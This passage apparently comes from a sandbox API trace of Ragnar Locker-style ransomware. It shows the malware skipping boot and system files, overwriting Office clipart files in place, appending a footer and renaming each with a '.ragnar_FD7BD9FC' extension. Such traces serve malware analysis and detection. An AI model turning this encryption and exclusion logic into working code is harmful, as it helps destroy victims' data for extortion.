(lpString1="J0086432.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0082.822] lstrcmpiW (lpString1="J0086432.WMF", lpString2="autorun.inf") returned 1 [0082.822] lstrcmpiW (lpString1="J0086432.WMF", lpString2="boot.ini") returned 1 [0082.822] lstrcmpiW (lpString1="J0086432.WMF", lpString2="bootfont.bin") returned 1 [0082.822] lstrcmpiW (lpString1="J0086432.WMF", lpString2="bootsect.bak") returned 1 [0082.822] lstrcmpiW (lpString1="J0086432.WMF", lpString2="bootmgr") returned 1 [0082.822] lstrcmpiW (lpString1="J0086432.WMF", lpString2="bootmgr.efi") returned 1 [0082.822] lstrcmpiW (lpString1="J0086432.WMF", lpString2="bootmgfw.efi") returned 1 [0082.822] lstrcmpiW (lpString1="J0086432.WMF", lpString2="desktop.ini") returned 1 [0082.822] lstrcmpiW (lpString1="J0086432.WMF", lpString2="iconcache.db") returned 1 [0082.822] lstrcmpiW (lpString1="J0086432.WMF", lpString2="ntldr") returned -1 [0082.822] lstrcmpiW (lpString1="J0086432.WMF", lpString2="ntuser.dat") returned -1 [0082.822] lstrcmpiW (lpString1="J0086432.WMF", lpString2="ntuser.dat.log") returned -1 [0082.822] lstrcmpiW (lpString1="J0086432.WMF", lpString2="ntuser.ini") returned -1 [0082.822] lstrcmpiW (lpString1="J0086432.WMF", lpString2="thumbs.db") returned -1 [0082.822] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0082.822] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0082.822] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0082.823] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0082.823] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0082.823] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0082.823] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0082.823] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086432.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086432.wmf")) returned 0x20 [0082.823] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086432.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086432.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0082.823] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=33434) returned 1 [0082.823] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x8291, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.823] GetProcessHeap () returned 0x580000 [0082.823] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0082.823] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0082.824] VirtualAlloc (lpAddress=0x0, dwSize=0x829a, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0082.825] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.825] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0082.825] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x829a, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x829a, lpOverlapped=0x0) returned 1 [0082.826] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0082.826] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x829a, nNumberOfBytesToLockHigh=0x0) returned 1 [0082.826] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x829a, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x829a, lpOverlapped=0x0) returned 1 [0082.826] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x829a, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0082.827] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0082.827] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x829a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.827] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0082.827] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0082.827] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0082.827] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0082.827] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0082.827] GetProcessHeap () returned 0x580000 [0082.827] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0082.827] CloseHandle (hObject=0xf4) returned 1 [0082.827] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086432.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086432.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086432.WMF" [0082.827] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086432.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086432.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086432.WMF.ragnar_FD7BD9FC" [0082.827] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086432.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086432.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086432.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086432.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0082.913] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65d5e3f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x375e, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0086478.WMF", cAlternateFileName="")) returned 1 [0082.913] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0082.913] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0086478.WMF" | out: lpString1="J0086478.WMF") returned="J0086478.WMF" [0082.913] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086478.WMF") returned=".WMF" [0082.913] lstrcmpiW (lpString1="J0086478.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0082.913] lstrcmpiW (lpString1="J0086478.WMF", lpString2="autorun.inf") returned 1 [0082.913] lstrcmpiW (lpString1="J0086478.WMF", lpString2="boot.ini") returned 1 [0082.913] lstrcmpiW (lpString1="J0086478.WMF", lpString2="bootfont.bin") returned 1 [0082.913] lstrcmpiW (lpString1="J0086478.WMF", lpString2="bootsect.bak") returned 1 [0082.913] lstrcmpiW (lpString1="J0086478.WMF", lpString2="bootmgr") returned 1 [0082.913] lstrcmpiW (lpString1="J0086478.WMF", lpString2="bootmgr.efi") returned 1 [0082.913] lstrcmpiW (lpString1="J0086478.WMF", lpString2="bootmgfw.efi") returned 1 [0082.913] lstrcmpiW (lpString1="J0086478.WMF", lpString2="desktop.ini") returned 1 [0082.913] lstrcmpiW (lpString1="J0086478.WMF", lpString2="iconcache.db") returned 1 [0082.913] lstrcmpiW (lpString1="J0086478.WMF", lpString2="ntldr") returned -1 [0082.913] lstrcmpiW (lpString1="J0086478.WMF", lpString2="ntuser.dat") returned -1 [0082.913] lstrcmpiW (lpString1="J0086478.WMF", lpString2="ntuser.dat.log") returned -1 [0082.913] lstrcmpiW (lpString1="J0086478.WMF", lpString2="ntuser.ini") returned -1 [0082.914] lstrcmpiW (lpString1="J0086478.WMF", lpString2="thumbs.db") returned -1 [0082.914] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0082.914] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0082.914] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0082.914] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0082.914] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0082.914] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0082.914] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0082.914] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086478.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086478.wmf")) returned 0x20 [0082.914] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086478.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086478.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0082.914] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=14174) returned 1 [0082.914] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x3755, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.914] GetProcessHeap () returned 0x580000 [0082.914] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0082.914] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0082.916] VirtualAlloc (lpAddress=0x0, dwSize=0x375e, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0082.916] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.916] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0082.916] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x375e, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x375e, lpOverlapped=0x0) returned 1 [0082.922] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0082.924] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x375e, nNumberOfBytesToLockHigh=0x0) returned 1 [0082.924] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x375e, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x375e, lpOverlapped=0x0) returned 1 [0082.938] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x375e, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0082.939] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0082.940] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x375e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.940] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0082.940] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0082.940] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0082.940] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0082.940] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0082.940] GetProcessHeap () returned 0x580000 [0082.940] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0082.940] CloseHandle (hObject=0xf4) returned 1 [0082.940] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086478.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086478.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086478.WMF" [0082.940] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086478.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086478.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086478.WMF.ragnar_FD7BD9FC" [0082.940] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086478.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086478.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086478.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086478.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0082.942] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x562d5870, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4dba, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0089945.WMF", cAlternateFileName="")) returned 1 [0082.942] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0082.942] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0089945.WMF" | out: lpString1="J0089945.WMF") returned="J0089945.WMF" [0082.942] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089945.WMF") returned=".WMF" [0082.942] lstrcmpiW (lpString1="J0089945.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0082.942] lstrcmpiW (lpString1="J0089945.WMF", lpString2="autorun.inf") returned 1 [0082.942] lstrcmpiW (lpString1="J0089945.WMF", lpString2="boot.ini") returned 1 [0082.942] lstrcmpiW (lpString1="J0089945.WMF", lpString2="bootfont.bin") returned 1 [0082.942] lstrcmpiW (lpString1="J0089945.WMF", lpString2="bootsect.bak") returned 1 [0082.942] lstrcmpiW (lpString1="J0089945.WMF", lpString2="bootmgr") returned 1 [0082.942] lstrcmpiW (lpString1="J0089945.WMF", lpString2="bootmgr.efi") returned 1 [0082.942] lstrcmpiW (lpString1="J0089945.WMF", lpString2="bootmgfw.efi") returned 1 [0082.942] lstrcmpiW (lpString1="J0089945.WMF", lpString2="desktop.ini") returned 1 [0082.942] lstrcmpiW (lpString1="J0089945.WMF", lpString2="iconcache.db") returned 1 [0082.942] lstrcmpiW (lpString1="J0089945.WMF", lpString2="ntldr") returned -1 [0082.942] lstrcmpiW (lpString1="J0089945.WMF", lpString2="ntuser.dat") returned -1 [0082.942] lstrcmpiW (lpString1="J0089945.WMF", lpString2="ntuser.dat.log") returned -1 [0082.942] lstrcmpiW (lpString1="J0089945.WMF", lpString2="ntuser.ini") returned -1 [0082.942] lstrcmpiW (lpString1="J0089945.WMF", lpString2="thumbs.db") returned -1 [0082.942] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0082.942] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0082.942] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0082.943] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0082.943] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0082.943] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0082.943] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0082.943] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089945.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0089945.wmf")) returned 0x20 [0082.943] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089945.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0089945.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0082.943] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=19898) returned 1 [0082.943] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x4db1, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.943] GetProcessHeap () returned 0x580000 [0082.943] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0082.943] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0082.945] VirtualAlloc (lpAddress=0x0, dwSize=0x4dba, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0082.945] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.945] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0082.945] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x4dba, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x4dba, lpOverlapped=0x0) returned 1 [0082.946] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0082.946] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x4dba, nNumberOfBytesToLockHigh=0x0) returned 1 [0082.946] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x4dba, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x4dba, lpOverlapped=0x0) returned 1 [0082.946] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x4dba, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0082.946] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0082.947] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x4dba, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.947] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0082.947] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0082.947] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0082.947] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0082.947] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0082.947] GetProcessHeap () returned 0x580000 [0082.947] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0082.947] CloseHandle (hObject=0xf4) returned 1 [0082.947] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089945.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089945.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089945.WMF" [0082.947] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089945.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089945.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089945.WMF.ragnar_FD7BD9FC" [0082.947] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089945.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0089945.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089945.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0089945.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0082.948] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65d5e3f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3d40, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0089992.WMF", cAlternateFileName="")) returned 1 [0082.948] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0082.948] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0089992.WMF" | out: lpString1="J0089992.WMF") returned="J0089992.WMF" [0082.948] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089992.WMF") returned=".WMF" [0082.948] lstrcmpiW (lpString1="J0089992.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0082.948] lstrcmpiW (lpString1="J0089992.WMF", lpString2="autorun.inf") returned 1 [0082.948] lstrcmpiW (lpString1="J0089992.WMF", lpString2="boot.ini") returned 1 [0082.948] lstrcmpiW (lpString1="J0089992.WMF", lpString2="bootfont.bin") returned 1 [0082.948] lstrcmpiW (lpString1="J0089992.WMF", lpString2="bootsect.bak") returned 1 [0082.948] lstrcmpiW (lpString1="J0089992.WMF", lpString2="bootmgr") returned 1 [0082.948] lstrcmpiW (lpString1="J0089992.WMF", lpString2="bootmgr.efi") returned 1 [0082.948] lstrcmpiW (lpString1="J0089992.WMF", lpString2="bootmgfw.efi") returned 1 [0082.948] lstrcmpiW (lpString1="J0089992.WMF", lpString2="desktop.ini") returned 1 [0082.948] lstrcmpiW (lpString1="J0089992.WMF", lpString2="iconcache.db") returned 1 [0082.948] lstrcmpiW (lpString1="J0089992.WMF", lpString2="ntldr") returned -1 [0082.948] lstrcmpiW (lpString1="J0089992.WMF", lpString2="ntuser.dat") returned -1 [0082.948] lstrcmpiW (lpString1="J0089992.WMF", lpString2="ntuser.dat.log") returned -1 